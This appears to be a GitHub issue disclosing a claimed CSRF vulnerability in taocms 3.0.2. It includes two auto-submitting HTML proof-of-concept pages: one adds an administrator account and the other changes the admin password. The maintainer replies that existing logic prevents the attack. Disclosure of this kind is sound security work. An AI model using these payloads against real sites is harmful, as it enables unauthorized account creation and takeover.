Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
After the administrator logged in, when he opened following malicious pages, CSRF(Cross Site Request Forgery) vulnerabilities occurred.
poc:
one.html—add a new account which has administrator privileges
<html><body> <script type="text/javascript"> function post(url,fields) { var p = document.createElement("form"); p.action = url; p.innerHTML = fields; p.target = "_self"; p.method = "post"; document.body.appendChild(p); p.submit(); } function csrf_hack() { var fields; fields += "<input type='hidden' name='name' value='test' />"; fields += "<input type='hidden' name='passwd' value='test' />"; fields += "<input type='hidden' name='auth_level' value='admin' />"; fields += "<input type='hidden' name='auth_cat' value='' />"; fields += "<input type='hidden' name='status' value='1' />"; fields += "<input type='hidden' name='action' value='admin' />"; fields += "<input type='hidden' name='id' value='' />"; fields += "<input type='hidden' name='ctrl' value='save' />"; fields += "<input type='hidden' name='Submit' value='浜¤' />"; var url = "http://127.0.0.1/taocms-3.0.2/admin/admin.php"; post(url,fields); } window.onload = function() { csrf_hack();} </script> </body></html>
After finish this CSRF attack, we can see that a new account has been added.
two.html—change current administrator’s password
<html><body> <script type="text/javascript"> function post(url,fields) { var p = document.createElement("form"); p.action = url; p.innerHTML = fields; p.target = "_self"; p.method = "post"; document.body.appendChild(p); p.submit(); } function csrf_hack() { var fields; fields += "<input type='hidden' name='pwd' value='admin123' />"; fields += "<input type='hidden' name='action' value='user' />"; fields += "<input type='hidden' name='ctrl' value='update' />"; fields += "<input type='hidden' name='Submit' value='¿®”¹!' />"; var url = "http://127.0.0.1/taocms-3.0.2/admin/admin.php"; post(url,fields); } window.onload = function() { csrf_hack();} </script> </body></html>
After that, the administrator’s will change from ‘admin’ to ‘admin123’.
Solution: Better add a CSRF token or CAPTCHA for each important request.
The text was updated successfully, but these errors were encountered:
There's a logic( https://github.com/taogogo/taocms/blob/master/admin/admin.php ) to fix this bug, so this's not a real CSRF vul, thanks all the same:)
Sorry, something went wrong.
No branches or pull requests
After the administrator logged in, when he opened following malicious pages, CSRF(Cross Site Request Forgery) vulnerabilities occurred.
poc:
one.html—add a new account which has administrator privileges
After finish this CSRF attack, we can see that a new account has been added.
two.html—change current administrator’s password
After that, the administrator’s will change from ‘admin’ to ‘admin123’.
Solution:
Better add a CSRF token or CAPTCHA for each important request.
The text was updated successfully, but these errors were encountered: